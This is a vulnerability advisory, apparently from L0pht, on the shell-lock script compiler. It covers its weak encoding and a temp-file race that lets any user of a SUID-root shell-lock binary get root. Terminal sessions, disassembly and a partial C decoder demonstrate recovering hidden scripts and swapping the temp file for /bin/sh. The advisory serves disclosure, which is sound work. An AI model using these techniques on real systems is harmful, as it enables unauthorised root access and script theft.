Cactus Software shell-lock protection scheme contains several security holes:
(a) A trivial encoding mechanism is used for obfuscating the shell code in the "compiled" binary. Anyone with read permissions to the file in question can decode and retrieve the original shell code. Another vulnerability allows any user to retrieve the un-encoded shell script without needing to actually decode the binary.
(b) The vendors claim the program to be useful in creating SUID binaries on systems that do not honor SUID shell scripts and also to protect against the security problems with SUID shell scripts. As it turns out, any shell-lock "compiled" program that is SUID root will allow any user to execute any program with root privileges.
Credit:
This information has been provided by: mudge at l0pht.com and lumpy (L0pht Security Advisory)
The program "shell-lock" is used to create ELF binaries from shell scripts. Ostensibly called a Shell Script Compiler, the literature states that the program also hides the original shell code so as not to be returnable through running strings(1) on the binary.
An example for problem (a) follows:
$ cat q.sh
#!/bin/sh
echo "hi there... this is a test"
$ strings ./q
(some stuff... not the ascii from the shell script)
$ ./codem -d -i ./q
#!/bin/sh
rm -f $0 2>/dev/null
echo "hi there... this is a test"
Example (a):
$ temp-watch -d /var/tmp -C 'q*' -D ./ &
[1] 22971
$ nice +10 ./q
hi there... this is a test
$ more q*
#!/bin/sh
rm -f $0 2>/dev/null
echo "hi there... this is a test"
An example for problem (b) follows:
# ls -l q
-rwxr-xr-x 1 mudge other 50753 Sep 28 14:24 q
# chown root q
# chmod 4755 q
# exit
$ id
uid=789(mudge) gid=1(other)
$ ls -l q
-rwsr-xr-x 1 root other 50753 Sep 28 14:24 q
$ temp-watch -X '^q*' -R /bin/sh -d /var/tmp &
[1] 23071
$ nice +10 ./q
# id
uid=0(root) gid=1(other)
Details:
A quick decompilation shows that the encoding and decoding routines look as follows:
0x16194 : inc %i4 Increment the counter
0x16198 : srl %i4, 0x1f, %o0 {
0x1619c : add %i4, %o0, %o0 { testing for odd v even
0x161a0 : andn %o0, 1, %o0 {
0x161a4 : cmp %i4, %o0 {
0x161a8 : bne 0x161b8 If they match
0x161ac : add %o1, 0x63, %o2 add 0x63 to the value
0x161b0 : b 0x161c0 else
0x161b4 : ld [ %i1 ], %o0
0x161b8 : add %o1, 0x44, %o2 add 0x44 to the value
0x161bc : ld [ %i1 ], %o0
0x161c0 : deccc %o0
0x161c4 : bneg 0x16228
0x161c8 : st %o0, [ %i1 ]
0x161cc : ld [ %i1 + 4 ], %o0
0x161d0 : add %o0, 1, %o1
0x161d4 : st %o1, [ %i1 + 4 ]
0x161d8 : and %o2, 0xff, %o1 and with 0xff (hey it's
0x161dc : stb %o1, [ %o0 ] ascii printable after all)
0x161e0 : ld [ %i0 ], %o0
0x161e4 : deccc %o0
This basically boils down to the following C code snippit.
for (i=0; i < strlen ; i++){
if (!(i % 2))
outbuff[i] = (inbuff[i] + 0x44) & 0xff;
else
outbuff[i] = (inbuff[i] + 0x63) & 0xff;
}
Conversely the decoding subtracts 0x44 and 0x63 alternately.
What shell-lock does when it creates the initial "compiled" binary from the shell script, is to add the line "rm -f $0 2>/dev/null" to the bourne shell script (or "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" for a perl script) and encodes the entire file. This is then copied into the data section of a skeleton binary file. The binary file, upon execution, reads the encoded data section and writes it out to a temporary file (*note: the default location is /var/tmp though it will follow the TMPDIR variable) and then execve's /bin/sh to call the program.
The first method of extracting the data comes in using the attached program to read the binary and run the data section through the decoding routine.
The second method of extraction is to use the current version of temp-watch (available freely from the L0pht advisories section) to make a copy of the temporary file containing the original shell code that is created when the binary is run.
The SUID root vulnerability lies in the fact that while the temporary file is created without any special permissions, the file exec'ing it is running as root. Thus, as soon as one sees the temporary file the race condition exists where the user can unlink the file and replace it with a different file or a symlink to the program wishing to be executed. This is accomplished in the above example with the program temp-watch using arguments specifying the replacement of the temporary file with a link to /bin/sh.
int main(int argc, char *argv[]){
int fdin, fdout;
int strlen, i, c;
int cryptFlag=0, decryptFlag=0,seekFlag=0;
int seekOffset=50688;
char *infile=NULL, *outfile=NULL;
char inbuff[8192];
char outbuff[8192];
while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){
switch (c) {
case 'c':
cryptFlag++;
break;
case 'd':
decryptFlag++;
break;
case 'i':
infile = optarg;
break;
case 'o':
outfile = optarg;
break;
case 's':
seekOffset = atoi(optarg);
break;
case 'h':
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){
printf("Must specify either -c or -d but not both\n");
usage(argv[0]);
}
if (infile){
fdin = open(infile, O_RDONLY);
if (fdin == -1){
perror("open infile");
}
} else {
fdin = STDIN_FILENO;
}